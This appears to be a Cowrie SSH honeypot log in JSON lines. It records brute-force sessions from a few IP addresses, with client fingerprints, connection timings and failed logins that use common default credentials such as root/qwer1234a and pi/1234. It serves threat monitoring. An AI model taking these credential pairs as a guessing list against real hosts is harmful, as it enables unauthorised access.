{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:20.519208Z","src_ip":"91.92.40.171","session":"7de29bccb365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:21.623399Z","src_ip":"91.92.40.171","session":"7de29bccb365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":42138,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c1b5d55264c","protocol":"ssh","message":"New connection: 103.27.238.114:42138 (10.17.0.5:22) [session: 9c1b5d55264c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:23.797365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:23.802241Z","src_ip":"103.27.238.114","session":"9c1b5d55264c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33438,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed844a149c04","protocol":"ssh","message":"New connection: 91.92.42.133:33438 (159.203.135.109:22) [session: ed844a149c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:23.914478Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:24.065687Z","src_ip":"103.27.238.114","session":"9c1b5d55264c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:24.224994Z","src_ip":"91.92.42.133","session":"ed844a149c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:24.228401Z","src_ip":"91.92.42.133","session":"ed844a149c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234a","message":"login attempt [root/qwer1234a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:24.847436Z","src_ip":"103.27.238.114","session":"9c1b5d55264c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57418,"dst_ip":"159.203.135.109","dst_port":22,"session":"25d89e739d7a","protocol":"ssh","message":"New connection: 91.92.40.171:57418 (159.203.135.109:22) [session: 25d89e739d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:25.390995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:25.569789Z","src_ip":"91.92.40.171","session":"25d89e739d7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:25.573422Z","src_ip":"91.92.40.171","session":"25d89e739d7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:26.109937Z","src_ip":"103.27.238.114","session":"9c1b5d55264c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:26.123138Z","src_ip":"91.92.40.171","session":"25d89e739d7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:26.343597Z","src_ip":"91.92.42.133","session":"ed844a149c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:27.219410Z","src_ip":"91.92.40.171","session":"25d89e739d7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:27.936827Z","src_ip":"91.92.42.133","session":"ed844a149c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33702,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcec8100ea14","protocol":"ssh","message":"New connection: 91.92.42.133:33702 (159.203.135.109:22) [session: fcec8100ea14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:30.762621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:31.152593Z","src_ip":"91.92.42.133","session":"fcec8100ea14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:31.155870Z","src_ip":"91.92.42.133","session":"fcec8100ea14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57442,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b1a1e3cfbba","protocol":"ssh","message":"New connection: 91.92.40.171:57442 (159.203.135.109:22) [session: 4b1a1e3cfbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:31.538825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:31.575563Z","src_ip":"91.92.40.171","session":"4b1a1e3cfbba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:32.134303Z","src_ip":"91.92.40.171","session":"4b1a1e3cfbba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:33.815971Z","src_ip":"91.92.42.133","session":"fcec8100ea14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxuser","password":"1","message":"login attempt [linuxuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:33.863227Z","src_ip":"91.92.40.171","session":"4b1a1e3cfbba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:35.177031Z","src_ip":"91.92.42.133","session":"fcec8100ea14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:35.331165Z","src_ip":"91.92.40.171","session":"4b1a1e3cfbba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47984,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e29d6457b57","protocol":"ssh","message":"New connection: 91.92.40.171:47984 (159.203.135.109:22) [session: 7e29d6457b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:36.427983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:36.440896Z","src_ip":"91.92.40.171","session":"7e29d6457b57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:36.524295Z","src_ip":"91.92.40.171","session":"7e29d6457b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:36.855562Z","src_ip":"91.92.40.171","session":"7e29d6457b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:38.049026Z","src_ip":"91.92.40.171","session":"7e29d6457b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34052,"dst_ip":"159.203.135.109","dst_port":22,"session":"9125e4885af1","protocol":"ssh","message":"New connection: 91.92.42.133:34052 (159.203.135.109:22) [session: 9125e4885af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:38.300983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:38.558627Z","src_ip":"91.92.42.133","session":"9125e4885af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:38.562210Z","src_ip":"91.92.42.133","session":"9125e4885af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:40.087596Z","src_ip":"91.92.42.133","session":"9125e4885af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:41.614345Z","src_ip":"91.92.42.133","session":"9125e4885af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48034,"dst_ip":"159.203.135.109","dst_port":22,"session":"da81f21c29e1","protocol":"ssh","message":"New connection: 91.92.40.171:48034 (159.203.135.109:22) [session: da81f21c29e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:41.758558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:41.815923Z","src_ip":"91.92.40.171","session":"da81f21c29e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:41.895984Z","src_ip":"91.92.40.171","session":"da81f21c29e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1234","message":"login attempt [pi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:42.259406Z","src_ip":"91.92.40.171","session":"da81f21c29e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:43.595047Z","src_ip":"91.92.40.171","session":"da81f21c29e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36696,"dst_ip":"159.203.135.109","dst_port":22,"session":"9875638a5d7a","protocol":"ssh","message":"New connection: 91.92.42.133:36696 (159.203.135.109:22) [session: 9875638a5d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:45.422297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:33:45.780781Z","src_ip":"91.92.42.133","session":"9875638a5d7a","protocol":"ssh"}
